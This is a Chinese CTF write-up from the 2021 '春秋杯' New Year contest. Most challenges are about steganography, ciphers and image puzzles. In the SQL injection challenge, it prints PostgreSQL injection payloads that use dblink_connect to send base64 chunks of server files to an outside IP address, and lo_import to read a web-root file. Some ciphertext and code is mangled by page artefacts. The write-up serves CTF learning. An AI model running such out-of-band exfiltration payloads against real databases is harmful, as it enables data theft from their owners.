2021年“春秋杯”新年欢乐赛 部分WP

  • A+
所属分类:逆向工程

点击蓝字 ·  关注我们

01

签到

万物皆有"FUN",电脑扫"FUN"活动,提供大写的"FUN"字样,即可获取flag~

解题思路,虚拟摄像头

2021年“春秋杯”新年欢乐赛 部分WP

设备管理器禁用本地摄像头

2021年“春秋杯”新年欢乐赛 部分WP

然后下载虚拟摄像头

2021年“春秋杯”新年欢乐赛 部分WP


2021年“春秋杯”新年欢乐赛 部分WP

添加一个fun的图片

重新运行,即可获取flag

2021年“春秋杯”新年欢乐赛 部分WP


02

十二宫

但愿你能解出密文,不然我就会继续犯罪:)

 ^#@[email protected]#()/>@?==%1(    !)>(*+3<#[email protected]$^.    4&)8%#5&6!=%1#$-$    +5&?#!.03!%[email protected]=101    0?(*~#??.+)%&.7^8    =1%*^[email protected]@8>&*9    9@0185(+7)<%3#@^4    &@@<.)$3*#%%<<*++    [email protected]?=~**+!==65^@&

   解密payload,然后规则是从第一个开始,依次往下一行往右两格,直接上脚本:

 en_s = "^#@[email protected]#()/>@?==%1(!)>(*+3<#[email protected]$^.4&)8%#5&6!=%1#$-$+5&?#!.03!%[email protected]=1010?(*~#??.+)%&.7^8=1%*^[email protected]@8>&*[email protected](+7)<%3#@^4&@@<.)$3*#%%<<*[email protected]?=~**+!==65^@&"    width = 17    height = 9    en_str = []    for i in range(height):        en_str.append(str(en_s[i*width:(i+1)*width]))    de_str = ""    sign_width = 0    sign_height = 0    for i in range(height*width):        de_str += en_str[sign_height][sign_width]        sign_width = (sign_width+2)%width        sign_height = (sign_height+1)%height    print(de_str)

结果

^>%[email protected]3*&#(#0[email protected]#[email protected]*53)8@[email protected]$+&!%>^&[email protected]36%&&4@?#<!=.*9@=(#[email protected]79@<~)8%=^=0.*/611811)*>@#00%8[email protected]$1?*53!?7-+(^(*==$$5*=+#==^4&~$7%6%.&?#5)%51!)#?$<<^()8!?7%<@


错误!未指定文件名。

2021年“春秋杯”新年欢乐赛 部分WP

03

2019-nCoV

wav用 silenteye解密

2021年“春秋杯”新年欢乐赛 部分WP

2021年“春秋杯”新年欢乐赛 部分WP

去hint的第二个网站去解密

2021年“春秋杯”新年欢乐赛 部分WP

2021年“春秋杯”新年欢乐赛 部分WP

根据提示MD5加密后

2021年“春秋杯”新年欢乐赛 部分WP

2021年“春秋杯”新年欢乐赛 部分WP

98eb1b1760bcc837934c8695a1cee923

使用工具mp3stego

Decode.exe -X -P98eb1b1760bcc837934c8695a1cee923 cov.mp3

2021年“春秋杯”新年欢乐赛 部分WP

解密压缩包

2021年“春秋杯”新年欢乐赛 部分WP

2021年“春秋杯”新年欢乐赛 部分WP

但是这里有一个坑,会遇到有几个相同的频次,有些得倒一下顺序,最后顺序

2021年“春秋杯”新年欢乐赛 部分WP

LGASTRIQKNDPFEVYMWHCCOMBAT

维吉尼亚解密

2021年“春秋杯”新年欢乐赛 部分WP


2021年“春秋杯”新年欢乐赛 部分WP


04

snowww

图片末尾有个压缩包,把压缩包提取出来,有matlab编写的encode代码和原来的图片,算法基本一样,编写了decode.m:

1. clc;clear;close all;2. alpha = 80;3. 4. im = double(imread('original.jpg'))/255;5. imsize = size(im)6. TH=zeros(imsize(1)*0.5,imsize(2),imsize(3));7. TH1 = TH;8. FA=fft2(im);9. FAO=imread('snow.jpg')10. FA2=fft2(FAO);11. load('encode.mat')12. G=(FA2-FA)/alpha;13. GG=G;14. for i=1:imsize(1)*0.515.     for j=1:imsize(2)16.         GG(M(i),N(j),:)=G(i,j,:);17.     end18. end19. for i=1:imsize(1)*0.520.     for j=1:imsize(2)21.         GG(imsize(1)+1-i,imsize(2)+1-j,:)=GG(i,j,:);22.     end23. end24. figure,imshow(GG);title('extracted watermark');25. %imwrite(uint8(GG),'extracted watermark.jpg');

2021年“春秋杯”新年欢乐赛 部分WP

得到flag:flag{c93fd2a3-103f-4539-9a51-ad5a6437daa1}

05

puzzle 

# python3import cv2from PIL import Imageimport numpy as npimport osimport shutilimport threading
# 读取目标图片source = cv2.imread(r"F:testdemo.jpg")# 拼接结果target = Image.fromarray(np.zeros(source.shape, np.uint8))# 图库目录dirs_path = r"F:testoutput"# 差异图片存放目录dst_path = r"F:test222"

def match(temp_file): # 读取模板图片 template = cv2.imread(temp_file) # 获得模板图片的高宽尺寸 theight, twidth = template.shape[:2] # 执行模板匹配,采用的匹配方式cv2.TM_SQDIFF_NORMED result = cv2.matchTemplate(source, template, cv2.TM_SQDIFF_NORMED) # 归一化处理 cv2.normalize(result, result, 0, 1, cv2.NORM_MINMAX, -1) # 寻找矩阵(一维数组当做向量,用Mat定义)中的最大值和最小值的匹配结果及其位置 min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) target.paste(Image.fromarray(template), min_loc) return abs(min_val)

class MThread(threading.Thread): def __init__(self, file_name): threading.Thread.__init__(self) self.file_name = file_name
def run(self): real_path = os.path.join(dirs_path, k) rect = match(real_path) if rect > 1e-10: print(rect) shutil.copy(real_path, dst_path)

count = 0dirs = os.listdir(dirs_path)threads = []for k in dirs: if k.endswith('JPG'): count += 1 print("processing on pic" + str(count)) mt = MThread(k) mt.start() threads.append(mt) else: continue# 等待所有线程完成for t in threads: t.join()target.show()target.save(r"F:testwsjqq.jpg")

2021年“春秋杯”新年欢乐赛 部分WP

2021年“春秋杯”新年欢乐赛 部分WP

06

borrow time

I wanna borrow sometime.

curl  --http2-prior-knowledge    http://8.140.110.118/<!DOCTYPE html>  <html lang="en">  <head>      <meta charset="UTF-8">   <title>Login</title>      <link rel="stylesheet" type="text/css" href="/static/login.css"/>  </head>  <body>      <div id="login">          <h1>Login</h1>          <form method="post">              <input type="password" required="required" placeholder="口令" name="secret"></input>              <button class="but" type="submit">登录</button>          </form>      </div>  </body>  </html>  
<!-- /src --><PAYLOAD2:curl --http2-prior-knowledge http://8.140.110.118/src#!/usr/bin/env python
import osimport timeimport hashlib
from flask import Flask, render_template, request
app = Flask(__name__)
FLAG = os.environ["ICQ_FLAG"]SECRET = hashlib.sha1(FLAG.encode()).hexdigest()[:10]
SLEEP_TIME = 10 ** -10@app.route("/", methods=['POST', 'GET'])def login(): if request.method == 'GET': return render_template('login.html') else: secret = request.form['secret'] if len(secret) != len(SECRET): return "^_^" for a, b in zip(secret, SECRET): if a == "*": continue elif a != b: return "INCORRECT" else: time.sleep(SLEEP_TIME) if "*" in secret: return "INCORRECT" return FLAG
@app.route("/src")def src(): with open(__file__) as f:return f.read()

githubexp

python3 1.py

2021年“春秋杯”新年欢乐赛 部分WP


07

f注入

启动一个docker 镜像

抓取本地网卡流量

查询版本

查询OID

2021年“春秋杯”新年欢乐赛 部分WP

看到oid查询OID ,由于长度的限制我们使用substring 分块传输

1' UNION SELECT 1,(SELECT dblink_connect('host=123.57.131.184 port=9595 user=postgres'||(select substring(encode(lo_get(16441),'base64'),1,15))||' password=password dbname=postgres')) --PEZpbGVzTWF0Y2g  1---151' UNION SELECT 1,(SELECT dblink_connect('host=123.57.131.184 port=9595 user=postgres'||(select substring(encode(lo_get(16441),'base64'),15,30))||' password=password dbname=postgres')) --gInB1c2hGMW40QW5LIj4KICBTZXRIY  15--30

加在一块使用base64解密

2021年“春秋杯”新年欢乐赛 部分WP

获取到flag的名字,然后再次尝试去查询。

先绑定OID

1' UNION SELECT(select lo_import('/var/www/html/pushF1n4AnK')),'1' -

查询oid

1' UNION SELECT 1,(SELECTdblink_connect('host=123.57.131.184 port=9595 user=postgres' || (SELECTstring_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || 'password=password dbname=postgres')) --


2021年“春秋杯”新年欢乐赛 部分WP

获取uid的数据

1' UNION SELECT 1,(SELECT dblink_connect('host=123.57.131.184 port=9595 user=postgres'||(select substring(encode(lo_get(16439),'base64'),1,15))||' password=password dbname=postgres')) --

2021年“春秋杯”新年欢乐赛 部分WP

PD9waHAKJGZsYWc

1' UNION SELECT 1,(SELECT dblink_connect('host=123.57.131.184 port=9595 user=postgres'||(select substring(encode(lo_get(16439),'base64'),15,30))||' password=password dbname=postgres')) --

2021年“春秋杯”新年欢乐赛 部分WP

9ImZsYWd7MzRlZDc0MzctMDViNS00

1' UNION SELECT 1,(SELECT dblink_connect('host=123.57.131.184 port=9595 user=postgres'||(select substring(encode(lo_get(16439),'base64'),30,45))||' password=password dbname=postgres')) --

Dc0MzctMDViNS00NTU3LTkwMTEtNGFiOTY3NmRiYzEwf

拼接flag

PD9waHAKJGZsYWc9ImZsYWd7MzRlZDc0MzctMDViNS00NTU3LTkwMTEtNGFiOTY3NmRiYzEwfS

2021年“春秋杯”新年欢乐赛 部分WP

EDI安全

2021年“春秋杯”新年欢乐赛 部分WP

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


本文始发于微信公众号(EDI安全):2021年“春秋杯”新年欢乐赛 部分WP

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: